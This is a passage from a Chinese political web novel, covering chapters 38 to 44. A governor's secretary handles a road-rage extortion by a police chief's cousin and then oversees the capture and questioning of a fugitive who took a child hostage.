坐久了王师傅那位老司机开的车,冷不丁坐上许梦的车,李承有些害怕。 倒不是李承胆子小,主要许梦开车,就属于典型的新手女司机。 双手紧紧握着方向盘,只看前方,很少观察左右两边的路况,每次遇到红绿灯,都是一脚急刹车停下。 刹车踩得格外重,车一晃一晃的,晃得李承都想吐。 “驾照考下来好久了,车是刚买的,还没怎么练,嘿嘿...” 许梦尴尬的笑了一声:“是不是开得很不好?” “挺好的,多练练会更好,遇到红绿灯,刹车可以提前轻踩,让车子缓慢制动,尽量少踩急刹车就更好了。”李承道。 “嗯嗯。” 许梦微微点头,美眸望向李承:“承哥,以后你空闲的时候,能不能陪我练练车,我自己一个人刚开车上路,心里总是没底。” “好啊,没问题。” ‘嘀嘀嘀...’ 两人聊天时,后面响起了一阵急促的喇叭催促。 “绿灯了,快走吧,后面车都着急了。” 李承看了一眼后视镜,一台白色奔驰轿车鸣笛的同时,还一个劲的闪着远光。 “嗯。” 许梦踩下油门,缓缓前进。 高尔夫的动力还不错,毕竟搭配着涡轮增压的发动机,可在许梦的手里,却慢得很。 一个小姑娘刚碰车,慢一点,稳扎稳打还是好的。 路过道口,那台白色奔驰追了上来。 在与许梦并排行驶时,对方降下了车窗,一个五大三粗的胖子一脸愤怒朝这边看来:“心思你妈的,跟你们一道了,开着慢要死啊。” 骂完,他一脚油门踩下,并道许梦前面,又踩了一脚刹车,明显的恶意别车。 “这人有病吧。” ‘嘀嘀嘀....’ 对方踩了刹车,许梦慌乱之下,看着这么近的距离,鸣笛的同时,也踩了一脚急刹。 两个人在惯性的作用下,身体向前推去,好在都系了安全带,没有什么磕碰。 “没必要跟这种烂人计较,好好开车。”李承安慰了许梦一句。 李承的脾气并不好,对方骂了许梦,还恶意别车,他心里是恨不得追上去狠狠教训对方一番。 但现在身份不同,这种事,没有计较的必要。 因为一个烂人,打扰了原本的好心情,也不值得。 许梦继续开车,也没有计较对方的谩骂,可对方似乎并不满意。 他故意放慢了速度,待到许梦超越过去时,又是一脚油门提速,变道准备别车。 ‘砰!’ 这一次,许梦并没有及时踩下刹车,车头直接撞在了对方车身上。 “你故意撞的?” 待到身体稳定下来,李承看了一眼许梦,诧异的问。 从许梦看到对方,再到刹车,制动距离是够的,李承笑着许梦脾气火爆,故意想给对方点教训呢。 “没有呀,我没看到他突然过来。”许梦一脸无辜的摇头。 “你们眼瞎呀,草,下车!” 这时,那名大汉司机下了车,紧接着,从他的副驾驶和后排,又下来几个纹龙画虎的男人。 气势汹汹,看起来就不像什么好人。 有个小子甚至从后备箱拿出了一个棒球棒,似乎要动手。 “承哥,这怎么办?” 许梦见对方来者不善,有些慌了,不知所措的看向李承:“要不,我们赔他们钱吧。” “没关系,你坐在车里,剩下交给我处理。” 李承解开安全带,冲许梦投去一个放心的笑,拉开车门走了下去。 “你们他妈的会不会开车,眼睛拉屎用的呀!”男人将李承小车,骂骂咧咧的道。 “把嘴巴放干净点,出现事故就处理,报交警呗。”李承拿起手机,准备拨通报警电话。 “你们撞了我还有理了是吧,赶紧赔钱,我们还有急事,没工夫跟你扯皮!” 大汉知道自己理亏,他恶意别车,还属于并道被撞,要承担事故的主要责任,甚至是全责。 所以,他当然不想报警处理此事。 “赔什么钱,你别车并道,责任在你!”李承冷冷的说。 发生事故的地点在一个较大的十字路口附近,刚好有交警执勤。 李承有看到交警向这边走来,索性也就收起了手机。 “你妈个比的,给你脸的是吧?” 那名拿着棒球棍的混混走到李承面前,手中棒球棒指着李承的鼻子,有种有暴力威胁的架势。 “小子,抓紧把钱赔了,这事拉倒,否则,别怪我们不客气。”开车大汉也注意到交警走来,沉声道。 “呵呵...不客气,你能怎么不客气,这么多摄像头拍着呢,你们还敢动手啊?” 李承冷笑一声,他可不是吓大的。 “信不信我一个电话就能把你的家庭住址,工作单位调出来,别给自己找麻烦。” 大汉出言威胁。 “好啊,随便你。”李承无所谓的耸了耸肩,道。 “你别不知好歹,你知道我们混哪的吗?”对方冷声质问。 “哈哈哈...都什么年代了,还搞黑社会那一套,现在是法治社会,我不管你混哪的,有本事你动我一下试试看啊。” “怎么回事?” 就在这时,交警小跑了过来,询问情况。 “警察同志你来得正好,他们并道恶意别车,就发生了碰撞。”李承简单概括情况。 “你别放屁,我是正常并道,你们加速故意撞得我。”大汉颠倒是非,说。 “我车里有行车记录仪,谁的责任看看不就知道了。” 这时,许梦拉开了车门,将蓝牙连接好行车记录的手机递到交警面前。 作为专门处理交通事故的交警,他只是看了一眼,就判定了责任划分。 “你们涉嫌恶意别车,变道还没有打转向灯,负事故的全部责任...” “你先别着急下结论,我这也有行车记录,你看看。” 正当交警准备对这起交通事故下结论时,奔驰车副驾驶,从头到尾没有说一句话的男人,走了过来,将手机递到交警面前。 李承余光看到,他手机屏幕不是什么行车记录,而是一个正在通话中的来电... 第39章 堵截 交警在看到电话联系人备注时,微微一怔。 然后走到远处,接通了这个电话。 “承哥,他们好像找人了。”许梦拉了拉李承的衣角,说。 “不要紧。” 不一会儿的工夫,交警返回现场。 “这次事故双方都有责任,就五五划分,有保险就报保险吧。”交警拿出纸笔,准备开具责任书。 “警察同志,你刚才说他们是全责,怎么又变成五五了?”许梦对于这个责任划分很不满意,反驳道。 “哎,你个臭娘们,五五分还怎么样,别给脸不要脸啊。”大汉骂骂咧咧。 “你把嘴巴放干净一点。” 李承眼睛一瞪,指着大汉呵斥一句。 随后,他目光看向交警:“我对这个事故判定并不满意。” “只要是汽车上路,就有连带责任。”交警难为情的道。 这场事故应当由奔驰方负全责,可大队长打了招呼,他又不好不给面子。 “连带责任就是五五划分吗?” 李承冷哼一声:“我看啊,你是接了那通电话在包庇他们吧?没关系,我们车上记录仪还是全程录像中。 到时候,我会带着录像和你的判罚单,去投诉。” 李承虽为省长孟良德的秘书,口袋里揣了一张‘金字招牌’。 却绝对不可以随便打着省长秘书的旗号,在外面办私事。 但他可以秋后算账。 听到李承准备投诉自己,交警的脸色骤变。 “小比崽子,你也就会投诉告状了是吧?” 大汉骂了一句,看向交警:“那个,我们也不给你添麻烦,这件事就按我们全责处理。” “好。”交警点了点头,应下。 很快,他就将事故责任认定书开了出来。 “小子,你给我等着,这笔账我会找你算。” .... 李承陪许梦处理完事故,车子送到4s店去维修,两个人打车来到了火锅店。 “承哥,今天的事儿谢谢你了,我以茶代酒敬你一杯。”许梦端起杯子,对李承表示谢意。 “我什么忙都没帮上,没什么谢的。” 今天这件事,他的确没有帮到什么忙,甚至因为职务原因,即使被对方辱骂,也没有还嘴。 毕竟,他现在身份特殊,秘书处那帮人又在想方设法的找他破绽。 尽管是一次普通的纠纷,被张俊那些人知道后,添油加醋,也会成为攻击自己的刀子。 “承哥,我听说孟省长亲自担保了锦绣广场的工程?”许梦问。 “是呀。” 听到对方谈起工作,李承微微一笑:“你今天找我吃饭,不会是想打听这件事吧?” 许梦是媒体人,收集新闻是她的职业。 她主动提起刚刚发生过的事件,这不禁让李承联想对方主动邀请自己的目的。 “不是,我就随口问问而已。” 许梦察觉到自己身份的特殊性,连忙否认。 “没关系,孟省长的确亲自担保,而且这件事一定会如期履行,到时候说不定还要请你们电视台做报道呢。”李承笑着说。 “孟省长是为民办事的好领导,很值得敬仰。” 许梦赞叹一声,她怕李承多想,便转移了话题:“承哥,你老家是哪的?” “我老家就在东江省,封兰市。”李承道。 “封兰市我知道,以雪闻名,听说雪村的雪有一人高呢。”许梦笑盈盈的接上话茬。 “嗯,雪村的雪景的确很美,打造的颇有六七十年代的北方特色,等冬天可以跟朋友去看看。” 李承将肉夹入自己的小锅中,说。 “我在这边没什么朋友,你可以带我去吗?” 许梦眨着明亮的美眸,脸上挂着期盼而腼腆的笑。 “可以呀。” 两个人以雪景为话题,李承给她介绍了很多关于雪村的北方特色,许梦很是迫切。 对于北方人来说,雪是很无趣的东西。 可对于许梦这个南方人讲,雪就是一个新鲜事,就像北方人第一次去见海一样。 吃完饭,时间还早,许梦说是最近有部新电影上映,她想去看。 能够一起看电影,说明两个人的关键逐渐朝着朋友之上进展,李承当然愿意。 在软件上订好电影票,两人拦了一辆出租车赶往电影院。 出租车停下,李承刚付好车费,紧接着,一台白色的金杯牌面包车就停在了两人面前。 ‘刷拉’ 伴随着滑索声响起,后排门敞开,五六个小混混冲了下来。 各个手里拎着家伙,将两人围拢。 见到这一幕,许梦当时就被吓住了,紧紧抓住李承的胳膊。 李承将她护在身后,目光看向从副驾驶缓缓走来的大汉。 这名大汉就是傍晚时,跟两人发生车祸的那伙人。 “老子说了,这笔账会找你算。” 大汉冷哼一声,迈着八字步,走到李承面前,伸手就去拉李承的衣领:“小比崽子,你不是说我不敢动你吗?你看今天我敢不敢给你腿打折!” 李承握住对方抓来的胳膊,眼神冷漠:“你们这叫寻衅滋事,今天你动了我,是犯法,要坐牢的,考虑清楚啊。” “草,拿法律威胁我?老子混了这么多年的江湖,就不知道什么叫法!”大汉怒声道。 “这么狂,有背景呀?”李承轻蔑一笑,问。 “实话告诉你,我表哥是城东区的公安局长,今天老子就是弄了你,也没人抓得了我。” 大汉冷哼一声,目光打量起李承身后的许梦:“下午就发现这娘们长得带劲,这样,你让她陪我一宿,今天的事,既往不咎...不然....” “老爷们之间的事,跟她没关系,我猜你也不想把这件事搞大,说吧,有什么条件。” 李承甩开他的手,从口袋里拿出香烟,点燃。 “呵..你倒是挺识相,下午你们撞了我的车,我也不讹你们,十万块钱,赔完就放你们走。”大汉道。 “十万块,你这不是敲诈吗?再说交警都判定了事故,是你们全责。”听到对方狮子大开口,许梦惊讶的反驳起来。 “哈哈哈,你说对了,我们就是敲诈了,怎么样?”大汉坦言承认,气焰十分嚣张。 一个分局局长的亲戚,就敢如此嚣张,李承眼眸暗沉,他说:“十万块钱可以给你,但我没这么多钱,这样,你给我一分钟时间,我打个电话借一下。” 第40章 温暖的拥抱 “别他妈想耍花样啊。”大汉厉声警告。 “放心,私人电话。” 李承翻找出市局局长宫庆鑫的号码,拨通了过去。 ‘嘟..嘟..嘟...’ “按免提!” 李承照做,打开了手机的免提功能。 时间已经很晚,电话响了二十几秒,对方迟迟未接。 在这个期间,那几个小混混的目光肆无忌惮打量着许梦,眼神中充满了猥琐与欲望。 在那种目光的注视下,许梦被吓住了,她身体紧紧靠着李承。 李承也攥住了她的手,给她安慰。 当碰触到许梦的手掌时,李承感受到她掌心紧张的汗水。 “你小子他妈的耍我呢吧,这也没人接啊。”大汉怒道。 “肯定会接,别急。” 其实,李承心里也没有底,毕竟是下班时间,对方有自己的私人空间,把手机静音或没带在身边也正常不过。 “喂,李秘...” “宫哥,我是李承啊。” 当电话即将挂断时,宫庆鑫接通了,他客气的想跟李承打招呼时,被李承提前打断。 “哦,是李承呀,这么晚打电话有什么事情吗?” 宫庆鑫闻言,自然明白李承现在不方便透露身份,也换了口吻。 “是这样,刚才下班我朋友开车跟别人发生了碰撞,对方现在给我们堵住了,要十万块钱,我口袋里没那么多钱啊。 我知道你跟城东区公安局的王局长有些联系,对方是王局长的表弟,你看看能不能跟王局长求求情,通融一下?” 李承委婉的将事件经过讲述给了宫庆鑫。 电话那边的宫庆鑫闻言,大惊失色,心里咒骂了王局长的全家后,平复心情,配合起李承:“行,我这就联系一下王局长,对了,你在什么位置,我给你送点钱过去。” “我在九山大厦的楼下。”李承告知了自己的位置。 “嗯,马上到。” 挂断电话,李承冲大汉露出一抹意味深长的笑:“大哥,稍等一下,我朋友一会就来送钱。” “我就给你们二十分钟,二十分钟不来,咱们换个地方聊。” “没问题。” 十几分钟后,一辆北京BJ40疾驰而来,停在了几人面前。 宫庆鑫独自一人从主驾驶快步下了车,走到李承面前,关切的问:“没事吧?” “没事。”李承摇了摇头。 看到李承毫发无损,宫庆鑫松了一口气。 整个汉江市的治安工作,是由他这位市局局长负责,如果省长秘书被打,到时候上面追究下来,率先被问责的人就是他。 “我朋友撞了你什么车,你至于给他堵在这里,一群人拿着铁棍威胁啊,你知不知道你们这叫敲诈勒索!” 宫庆鑫眼神犀利的盯着大汉一行人,质问。 “我那是奔驰,要你们十万块钱不多了,还有,少他妈的拿法律威胁我,你是干鸡毛的呀,在老子这打官腔。” 大汉点燃一根香烟,很不屑的看着宫庆鑫。 他表哥是分局局长,但他不认识市局宫庆鑫,这让李承有些意外。 “交警那边已经出了责任认定,他们全责。”李承补充道。 “行,你不是要钱吗?我给你拿。” 说着,宫庆鑫打开车门,从副驾驶拿出一个黑色塑料袋:“这里是五万,另外五万块钱,马上给你送过来。” 宫庆鑫此举,这是想给大汉置于死地,也是在向李承示好,给李承出一口恶气。 只要对方收了钱,性质又不同了。 大汉接过塑料袋,打开之后看到里面的确是五万块钱,满意的笑了:“呵呵呵,你可比那个小杂种识相多了。” 正当他洋洋得意之际,两台警车开了过来。 城东区公安局长王德才从副驾驶下来后,小跑到李承和宫庆鑫面前。 看到警车,原本大汉很惊慌。 但当他看清为首之人是王德才后,整个人从容了很多:“表哥,你怎么收到信了?这点事我已经摆平了,对方赔了钱,不用麻烦你大驾,呵呵呵....” ‘啪’ 大汉面带笑容,可很快,王德才抬手一记响亮耳光就抽在了他的脸上。 大汉一怔,被打蒙了。 “混账东西,等会再找你算账!” 王德才恶狠狠瞪了大汉一眼,紧接着,他看向宫庆鑫和李承,冲两人标准的敬了一个礼:“宫局,李秘书。” “王局,你的表弟很嚣张嘛,敲诈勒索都敲诈到了李秘书和我的头上。” 宫庆鑫眼神一凛,目光看向大汉手中的塑料袋:“这也算是人赃并获了吧。” 闻听此言,宫庆鑫额头渗出冷汗。 而先前还无比嚣张的大汉则双腿一软,险些跌倒在地上。 他知道,自己惹了不该惹的大人物! “请宫局和李秘书放心,这件事我一定严惩不贷!” 王德才恭敬的说完,转头看向大汉。 “表哥...我...”大汉结结巴巴的想要解释,却不知道该说什么。 王德才没有理他,伸手夺过黑色塑料袋,递向宫庆鑫:“宫局,这个您拿回去。” “不用,这件事按流程处理,赃款等案件审理完毕,我自己会去取。” 宫庆鑫轻哼一声,没有接。 这一举动是在传达一个信号,这件事,没有通融的余地,必须要秉公执法。 “给这些犯罪分子带走!” 王德才也不敢多说,李承代表的是省政府,他不敢公然包庇。 当下,他很不得和表弟把关系撇得越远越好。 在王德才的吩咐下,他手下的警员给这群混混带上了手铐,押入警车。 “李秘书,让你受惊了。”宫庆鑫说。 “没事,今天多谢宫局出面,改天请你吃饭。”李承微笑道。 “嗯...” 宫庆鑫点了点头,欲言又止。 李承知道他想表达什么,笑呵呵的递了一根烟过去:“这是下班时间,下了班,我就是普通人。” “谢谢李秘书,那我先告辞了。” 宫庆鑫不想让这种丑闻传到孟良德的耳中,李承的一番话,就是变相的告诉他,这事他不会说。 所有人都走后,李承温柔的看向许梦:“看来电影要等下一场。” 许梦却瞬间湿润了眼眶,她一下扑进李承的怀中:“承哥...我刚才吓死了,幸亏有你....” 第41章 抓捕行动 许梦的拥抱让李承意外之余,也有几分惊喜在其中。 感受着怀中温暖娇躯,嗅着她的发香,李承也张开怀抱,轻轻拍了拍她的背:“没事了。” 就这样抱了好一会儿,李承才安抚下她的情绪。 上一场的电影已经错过,李承拿起手机,看了一下软件,距离下一场还有二十分钟。 虽然不在这家电影院,但距离不远。 久山大厦是市中心,周围的购物广场和电影院很多。 两个人漫步在夜晚的汉江街头,像一对普通的恋人,说说笑笑。 电影开场没多久,或许是刚才受到了惊吓,没一会儿许梦就睡着了。 她的头轻轻倚靠在李承的肩膀上。 李承看着她那张精致的脸蛋,露出一抹发自内心的笑。 三十岁的年纪,李承也谈过几次恋爱,甚至到了谈婚论嫁的地步。 但因为自己家境贫寒,没办法在汉江满足对方的苛刻条件,被迫分手。 而今,自己也到了成家的年纪,他很希望许梦会成为那个陪她共度余生的人。 ..... 时间一晃,十日已过。 在市委书记张建军的监督和指导,市长刘宝林亲自执行下,汉江市与李美娇的华海集团达成了合作共识。 锦绣广场正式复工。 ‘铃铃铃...’ 秘书办公室,李承正在翻阅文件,桌子上的座机响起。 “你好,这里是省政府秘书办公室。”李承接起电话,语气平淡。 “李秘书你好,我是刘宝林。”对方自我介绍。 “刘市长,您讲。” 刘宝林打工作电话过来,自然是有事情请示或汇报。 “是这样,明天上午十点,锦绣广场复工剪彩,我想请示一下孟省长有没有时间莅临。” 刘宝林笑呵呵的说:“我还联系了电视台,报社等多家媒体,届时也会到场。” “好的刘市长,我会向孟省长汇报。”李承道。 “好的。” 挂断电话,李承起身来到孟良德的办公室,将刘宝林的话转达给孟良德。 “嗯,你联系一下综合一处,没有重大会议的情况下,把这个时间留出来。”孟良德听完后,表示认可。 “好的省长。” 锦绣广场事件是孟良德亲自主抓,并向群众做出担保。 现在,如期履行承诺,该收获的时候,孟良德自然要亲临现场。 让全省百姓认识这位尽职尽责,为百姓办事的好省长。 省长的公信力,也是一张护身符。 他在人民群众中的认可度越高,他的政敌们如果想对他下手,也越要忌惮几分。 “金河集团副董事长的抓捕,进展的怎么样了?”孟良德问。 半个月前,省公安厅长常百利亲自保证,半个月内一定将人抓捕归案。 今天,已经是保证期限的最后一天了。 李承预料到孟良德今日会过问此事,早上上班时,就给公安厅打去过电话。 “已经确定了潘男的藏身之地,公安厅和市局正在开会商讨抓捕行动。”李承道。 “嗯,抓捕行动你也辛苦去一趟,监督一下。” “是。” ..... 晚上十点。 常百利亲自指挥现场,由市局局长宫庆鑫带队,出动武警,将金河集团副董事长潘男的藏身之地围了一个水泄不通。 李承就站在两人的旁边,作为孟良德的眼睛,他要监视这一切。 这是一个废弃工厂,曾经无比辉煌的副董事长潘男,正通过一个狭小的窗户,窥视着外面的动静。 警车闪着红蓝色的灯光,武警手持枪械,严阵以待。 “潘男,你现在已经被包围了,不要再做无用的抵抗,立刻出来投降,争取宽大处理!” 常百利拿着大喇叭,冲废弃工厂里面喊道。 “吗的,这帮老东西出卖老子!” 潘男目光看向他的左侧,一个七八岁的孩子被他五花大绑,蜷缩在角落。 从口袋里拿出锋利的匕首,潘男一只手提起孩子,朝着大门口走去。 他知道,人质是他眼下唯一谈条件的筹码。 ‘咯吱’ 废弃工厂的大门缓缓打开,潘男半蹲在地上,用孩子作为掩护,他手中的刀顶住孩子的脖颈。 孩子已经被吓傻了,不停在哭泣。 “他手里有人质!”宫庆鑫眉头紧皱起来。 “潘男,他不过是一个孩子,放了他,主动自首,我保你有条活路,最多二十年,你还可以重获自由。” 常百利大喊着劝降。 “去你吗的,老子要是投降了,老东西也不会放我活!” 潘男大骂一声,情绪激动暴怒:“想要让他活,现在立刻给我准备一辆车,送到工厂门口来,否则,我死也拉一个垫背的!” 潘男的态度很明确,绝不伏法。 “好,你别激动,我现在安排人给你准备车。” 常百利先稳住对方后,拿开大喇叭低声说:“一号,二号,如果有机会,立即枪毙!” 他这是通过耳机,在跟狙击手沟通。 李承很想环视一圈,看看狙击手的位置,但他忍住了。 这时候,眼睛如果乱看,很容易引起潘男的警觉。 “不可以,孟省长交代过,一定要抓活口。”李承说。 这是孟良德亲口交代的。 潘男涉及陷害杨兆华,这是奔孟良德而去的。 那些大人物都很清楚,杨兆华是孟良德这位空降省长的大学同学,政治同盟。 他们陷害杨兆华,就是在对孟良德动手。 而且,除了杨兆华一事外,潘男还涉及到了一些事情,是孟良德格外重视的,至于是什么事,李承并不知情。 “人质的生命随时可能受到威胁,必须枪毙,出了什么后果,我去跟孟省长解释!” 常百利态度坚定,直接反驳了李承。 “厅长,罪犯很狡猾,没有合适的狙击点位。”耳机中,传出狙击手的回答。 常百利闻言,眉头紧锁起来。 他转过身,向市局宫庆鑫吩咐:“给他备车。” “是。” 宫庆鑫去安排备车,潘男挟持着人质,重新退后了废弃工厂,隐匿于黑暗之中。 而李承也退到了后方,拨通了孟良德的号码。 第42章 鲁莽的成功 “老板,潘男现在挟持了人质,常厅长执意要枪毙,保护人质。”电话接通,李承如实将情况汇报给孟良德。 “让常百利接电话。” 孟良德清冷的声音从电话中传来。 “好的老板。” 李承答应一声,走回常百利的身边,将手机递了过去:“常厅长,孟省长让您接电话。” 闻言,常百利对李承露出一抹阴沉的目光,这才接过手机。 “孟省长,我是常百利,请您吩咐。”常百利道。 “孟省长,现在犯罪分子手里挟持了一个七八岁的小姑娘,如果不击毙,很有可能威胁到人质的生命安全。” 不知道电话那边孟良德说了些什么,但常百利的态度很坚决。 “嗯...可是...好的孟省长,我知道了。” 可似乎孟良德并没有听从常百利的情况汇报,态度比常百利更加坚定,最后,常百利是以妥协的形式,挂断了电话。 “李秘书,你的手机。” 常百利将手机递了回来,表情十分严肃。 李承似乎在他的目光中感受到了一抹杀意! 接过手机,李承的心里泛起嘀咕。 如果只是一个普通的抓捕行动,潘男一案与常百利无关的话,他只需要服从领导指示就行。 何必要执意击毙潘男呢? 何必在李承向孟良德汇报工作后,他用这种眼神来看李承呢? 难道,他只是为了人质的安全考虑吗? 李承觉得,这其中定有隐情! “潘男,车已经给你备好了,放下人质,我们让你离开!”一辆别克牌小轿车停在仓库门口,常百利拿起喇叭,大喊。 “我知道有狙击手,让他们全部撤走!”潘男没有出来,他扯着嗓子大喊。 “好,只要你放了人质,一切都好说。” 常百利答应了他的要求,对耳机那边说:“所有狙击手撤回来。” “好了,狙击手撤走了,你可以出来了。”常百利道。 仓库里沉默了半晌,里面没有动静,外面的人也没有再说话。 气氛变得诡异的安静。 大概五分钟后,潘男挟持着小孩走了出来。 他朝着四周打量了一圈,这是一处废弃工厂,周边没有什么制高点,狙击手的位置有限。 他把可能藏有狙击手的点位看了一遍后,这才拉开了后排的车门,将孩子往里面塞。 “车已经给你准备好了,为什么不放人!”常百利怒呵道。 “吗的,老子放了人,还能逃出去吗!” 潘男大呵的同时,拉开主驾驶的车门,准备上车! 而就在这时,李承看到一旁的公安局长宫庆鑫抬起了手臂,在他的手里握着一把手枪! “宫庆鑫,你要干什么!” 常百利也看到了这一幕,厉声出言制止。 但他的话刚开口,宫庆鑫已经扣动了扳机! ‘砰’ 火光从他的枪口喷出,刺耳的枪声回荡在天际。 “啊!” 同时,潘男一声惨嚎,他的大腿中弹,整个人踉跄摔倒在地上。 “抓人!” 宫庆鑫下达命令,同时,一马当先的冲了上去。 潘男依旧不死心,拖着受伤的腿,去拉后排车门,准备继续用小孩子做人质。 当他打开车门时,小孩子已经本能的逃窜了后座的另一侧。 潘男拼命的往车里爬,想要去抓孩子,但为时已晚。 宫庆鑫已经冲到了他的面前,一脚踩在了他的后腰上,像踩一条死狗般,将他死死踩住。 紧接着,七八名警察蜂拥而上,给潘男戴上手铐,拖拽到了警车里。 在这期间,李承始终观察着常百利。 他发现,常百利没有半点因为活捉歹徒的喜悦,脸色阴沉到了极致,尤其是宫庆鑫擅作主张的开了枪。 “宫局长,你这枪法了得啊,一枪命中。” 见宫庆鑫走回来,李承对他大加赞许。 今天能如期完成孟良德的吩咐,活捉潘男,宫庆鑫是头功。 “哈哈哈,太久没摸枪,也有些生疏了。”宫庆鑫谦虚的说。 “常厅长,宫局长是您手下的兵,相信孟省长知道此事,也会因为你妥善完成抓捕行动而欣慰。” 李承看出常百利的恼意,开口打着圆场。 “哼,宫局长,谁允许你开的枪?你向我打报告了吗?” 常百利冷哼一声,似乎没有顾忌李承的圆场,极其严肃的训斥道。 “你知不知道,如果你没有击中歹徒,将会给人质带来多大的危险,如果因为你的开枪,激怒了歹徒,导致人质丧命,这个责任你负得起吗?” 常百利气不打一处来的训斥着:“孟省长三令五申要保证人质和罪犯的生命安全,如果你这一枪给罪犯打死了,孟省长追责下来,你承担吗?!” 几番严厉的呵斥下,宫庆鑫低头不语。 常百利是这次行动的总指挥,宫庆鑫贸然开枪,的确是不妥的行为。 站在常百利的角度,李承能理解他。 可终究,这次行动是以圆满的结局而告终,李承开口帮腔:“常厅长,至少结局是好的嘛,人质没有受到伤害,歹徒也被抓获,宫局长也算是功过相抵了。” “哼,只有过,何来功?” 常百利冷哼一声,继续道:“我已经策划好了一切,本来是可以以更安全的方式抓获罪犯! 宫局长,这件事我会如实向市委和省领导汇报。” 丢下这句话,常百利转身离开。 常百利虽为省公安厅厅长,但他并没有权力对宫庆鑫做出人事调动。 他只能提议撤换,再由市委和市人大常委会来决定。 “看来,常厅长对我这次行动的意见不小啊。”宫庆鑫拿出香烟,递给李承一支,平静的说。 “也能理解吧。” 李承接过香烟,点燃,宽慰道:“他也就是在气头上,不要紧的。” “呵呵...我不在乎。” 宫庆鑫深深的吸了一口烟,摆手道。 “看来宫局长很受张书记的器重啊。” 对于李承的话,宫庆鑫淡淡一笑,算是默认了。 只要市委书记张建军不搭茬,常百利顶多在工作上刁难一下宫庆鑫,触碰不到他的根基。 第43章 死刑犯 抓捕行动结束。 潘男因为身中枪伤,被送往了公安医院进行治疗。 李承没有回家,而是打车来到了招待宾馆,当面向孟良德做出汇报。 “嗯,这个宫庆鑫倒是果决,虽未服从领导安排,但特殊情况下,也是情有可原的。” 听完李承的讲述,孟良德对宫庆鑫的做法,提出的赞扬。 事实上,这份赞赏是依托于宫庆鑫最终能够成功制服歹徒,满足孟良德的心理预期而给予的。 如果发生意外,那颗子弹未能命中潘男,导致人质身亡。 或者,潘男直接被这颗子弹击毙。 那么,孟良德一定不会褒奖他,甚至会提议严惩,撤职,以至于追究刑事责任。 一切,都要因结果而已。 其实,站在宫庆鑫的角度来看,他今天的行为十分鲁莽且不理智。 成,没有功劳可言。 败,那就是一败涂地,仕途也将因此到达尽头! 但想来,宫庆鑫在那个时刻,出于警察的职责,看到好的机会,也并没有想这么多。 并且,他应该对自己的枪法十分有自信。 “老板,有句话不知当讲不当讲。”李承想向孟良德汇报常百利的表现,于是,他询问起来。 “你是我的秘书,没什么不能讲的。”孟良德翘起二郎腿,说。 “可能是我多疑,但我总觉得今天常厅长很奇怪,最开始,他非常坚决的要击毙罪犯。 可等到罪犯即将跑路,宫局长举枪实际时,他又要阻拦。 后来,潘男被抓后,他还特别严厉的训斥了宫局长,甚至要通知市委,给宫局长处分。” 李承将自己心中的猜疑如实说了出来。 按道理,宫庆鑫已经成功完成上级命令,抓捕了罪犯。 他作为总负责人,应该享受这份功绩。 就算常百利对宫庆鑫这种行为不爽,也不该当着李承的面讲出来,毕竟,李承代表的是孟良德。 可偏偏,常百利当着李承的面发火。 那种火,是发自内心的愤怒。 “我也察觉到了,他似乎很不想让潘男留下活口。”孟良德点了点头,说。 身为省长,他能说出这种话,这是对李承这位秘书的信任表现。 “你辛苦一下,持续跟踪这个案子,务必查明潘男是受谁指使,栽赃诬陷的杨兆华同志。”孟良德说。 “好的老板。” ..... 次日一早。 李承赶往了公安医院,宫庆鑫也在场。 “宫局,昨天累了一晚上,今天这么早就过来了呀。”李承跟宫庆鑫打着招呼。 “李秘书也很早呀。” 宫庆鑫淡淡一笑,说:“这个案子孟省长很重视,我们这些下属更要重视起来。” “怎么样?” 李承瞟了一眼病房,问。 “什么都不肯说,顽固的很。”宫庆鑫无奈的摇了摇头,道。 潘男能走上这一步,就证明,他犯的案子远远不止诬陷杨兆华这一起。 一个诬陷,根本不值得他铤而走险。 “他都犯了什么罪?”李承问。 “经过我们这些日子的调查,他犯过的罪可不少,贪污受贿都是其次,还曾经参与过雇凶杀人,强奸等罪行,而且不是一例,还有这次的绑架挟持,都是重罪。”宫庆鑫说。 怪不得潘男会狗急跳墙,原来,这家伙干过这么多重罪。 “死刑?”李承反问。 数案并处,李承认为是死刑,但他对判刑方面懂得不是特别多,还是要具体询问一下。 “嗯。”宫庆鑫点头。 闻言,李承面露难色。 死刑犯是最难审讯的,左右都是死,他们自然什么都不肯多说。 “我去会会他。”李承说。 “嗯。” 宫庆鑫应了一声,带着李承走入病房。 潘男躺在病床上,双眼无神的望着棚顶。 “潘副董事长,你还认识我吗?”李承开口,问。 李承曾在金河集团见过他一面,那时候,潘男还是无比辉煌的金河集团副董事长。 走到哪里,身边都是一呼百应,妥妥的大男主,人生巅峰。 可如今却落魄到了这种样子。 “认识,第一次见你,你还是审计局的小屁孩,一转眼成了省长秘书,这人啊,就是有狗屎运。” 潘男扫了李承一眼,讥讽的说。 “聊一聊吧。”李承道。 “我一个死刑犯,跟你没什么好聊的,你也什么都不用问,问了我也什么都不会说。” 潘男轻哼一声,摆出一副死猪不怕开始烫的样子。 “宫局,我跟他单独聊聊。”李承对宫庆鑫道。 “好。” 宫庆鑫点头,退出了病房。 李承坐在潘男的病床前,拿出香烟,自顾自的点燃了一根,深吸一口。 “潘总,谁说你就一定是死刑了,你现在还有戴罪立功的机会....” “你少他吗忽悠我,我是什么罪,我自己能不清楚吗?” 李承的话还未说完,潘男冷哼了一声,打断道:“我活不成的。” 看他这副样子,已经是认命了。 “你能不能活,我不敢跟你保证,但昨天晚上很多人都想让你死,他们不希望你活着走出那个仓库。” 李承吸了一口烟,感叹一声:“你在想着包庇他们,可他们都想让你死,你落到今天这个地步,我猜那些人也有责任。 可到头来,他们却要卸磨杀驴,你说你可不可怜。” 闻言,潘男的眼神闪过一抹恨意。 他也想过同归于尽,把天捅破,让所有人跟他一起陪葬。 可最终,潘男还是摇了摇头:“我自己的选择,我自己认,什么事都是我个人行为。” 见状,李承有些惆怅起来。 “潘总,其他的我不想知道,我就想知道是谁指使你陷害杨兆华副书记,作为条件,我可以给你的家人提供保护。 你应该知道,只要你还活着,那些人很有可能拿你的家人开刀。”李承连续吸了几口烟后,认真的说。 李承不可能让他全部招供,只能退而求其次。 “真的?” 潘男动摇了,他很清楚,他被抓后,他的家人会面临怎么样的威胁。 如果不是顾忌家人的安危,他早就全盘托出,拉所有人一起陪葬了。 “真的,我代表孟省长向你保证!” 第44章 幕后主使 “我凭什么相信你?” 潘男目光咄咄逼人,他直视着李承的眼睛,问。 “潘总,时至今日,你除了相信我之外,你还有其他选择吗?” 李承弹了弹烟灰,眼神认真:“鸡蛋放在两个篮子里总不会错的,况且我要的并不多吧。 